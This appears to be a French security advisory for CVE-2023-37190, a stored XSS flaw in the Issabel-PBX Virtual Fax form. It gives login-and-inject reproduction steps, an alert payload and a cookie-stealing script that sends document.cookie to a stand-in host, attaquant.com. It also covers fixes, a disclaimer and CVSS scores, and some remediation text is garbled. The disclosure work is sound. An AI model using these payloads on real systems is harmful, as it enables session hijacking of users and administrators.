
Une vulnérabilité de Cross-Site Scripting stocké (XSS) existe dans Issabel-PBX version 4.0.0-6. L'application ne parvient pas à nettoyer et encoder correctement les entrées fournies par l'utilisateur avant de les stocker dans la base de données et de les restituer dans l'interface web.
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2023-37190 |
| Vulnérabilité | Cross-Site Scripting stocké (XSS) |
| Produit concerné | Issabel-PBX |
| Version concernée | 4.0.0-6 |
| Sévérité | Moyenne (Score CVSS v3.1 : 5.4) |
| Découvert par | Sahil Ojha |
| Date de divulgation | 07 juillet 2023 |
| Éditeur | Issabel |
| Code source | IssabelFoundation/issabelPBX |
| Testé sur | Windows |
Une vulnérabilité de Cross-Site Scripting stocké (XSS) existe dans Issabel-PBX version 4.0.0-6. L'application ne nettoie ni n'encode correctement les entrées utilisateur avant de les stocker dans la base de données et de les afficher dans l'interface web.
La vulnérabilité se trouve dans le module Fax virtuel, plus précisément dans le formulaire de création "Nouveau fax virtuel". Deux paramètres d'entrée — Nom du fax virtuel et Nom de l'appelant (Caller ID) — ne font l'objet d'aucune validation d'entrée ni d'encodage de sortie adéquats. Cela permet à un attaquant authentifié de faible privilège d'injecter et de stocker de manière permanente une charge utile JavaScript malveillante dans l'application.
Une fois stockée, la charge utile malveillante est automatiquement exécutée dans le navigateur de tout utilisateur (y compris les administrateurs) qui visite la page concernée, sans aucune interaction supplémentaire de la part de l'attaquant.
Un attaquant qui exploite avec succès cette vulnérabilité peut :
Étant donné que la charge utile est stockée (persistante), elle affecte chaque utilisateur qui visite la page vulnérable jusqu'à ce qu'elle soit supprimée — ce qui rend cette vulnérabilité plus grave qu'un XSS réfléchi.
Nom du fax virtuelNom de l'appelant (Caller ID)Étape 1 : Connectez-vous à l'application web Issabel-PBX avec des identifiants valides.
Étape 2 : Naviguez vers Fax → Virtual Fax → New Virtual Fax.
Injectez la charge utile XSS suivante dans les champs Virtual Fax Name et/ou Caller ID Name :
<script>alert('XSS-CVE-2023-37190')</script>
Pour une preuve de concept plus percutante démontrant le vol de cookie de session (remarque : dans les vraies attaques, HTTPS est utilisé pour éviter d'exposer les cookies volés en transit) :
<script>document.location='https://attaquant.com/vol?c='+document.cookie</script>
Le formulaire rempli avec la charge utile injectée doit ressembler à la capture d'écran ci-dessous :

Étape 3 : Cliquez sur le bouton Save pour soumettre le formulaire. La charge utile est maintenant stockée de manière persistante dans la base de données de l'application.
Étape 4 : Naviguez vers la page de liste des fax virtuels (ou demandez à un autre utilisateur — comme un administrateur — de visiter la page). Le script stocké s'exécutera automatiquement dans le navigateur du visiteur, comme illustré ci-dessous :

Les utilisateurs et administrateurs d'Issabel-PBX sont vivement invités à appliquer les mesures suivantes :
<, >, ", ', &).Content-Security-Policy strict pour limiter les sources à partir desquelles les scripts peuvent être exécutés, réduisant ainsi l'impact des vulnérabilités XSS.Sahil Ojha
Chercheur en sécurité
GitHub : @sahiloj
Avertissement : Ce dépôt est destiné à des fins éducatives et de divulgation responsable uniquement. Les informations fournies ici ne doivent pas être utilisées pour attaquer des systèmes sans autorisation écrite explicite du propriétaire du système. L'auteur n'est pas responsable de toute utilisation abusive de ces informations.
| Métrique | Valeur |
|---|
| Score de base | 5.4 (Moyenne) |
| Vecteur d'attaque | Réseau |
| Complexité de l'attaque | Faible |
| Privilèges requis | Faible |
| Interaction utilisateur | Requise |
| Périmètre | Modifié |
| Confidentialité | Faible |
| Intégrité | Faible |
| Disponibilité | Aucune |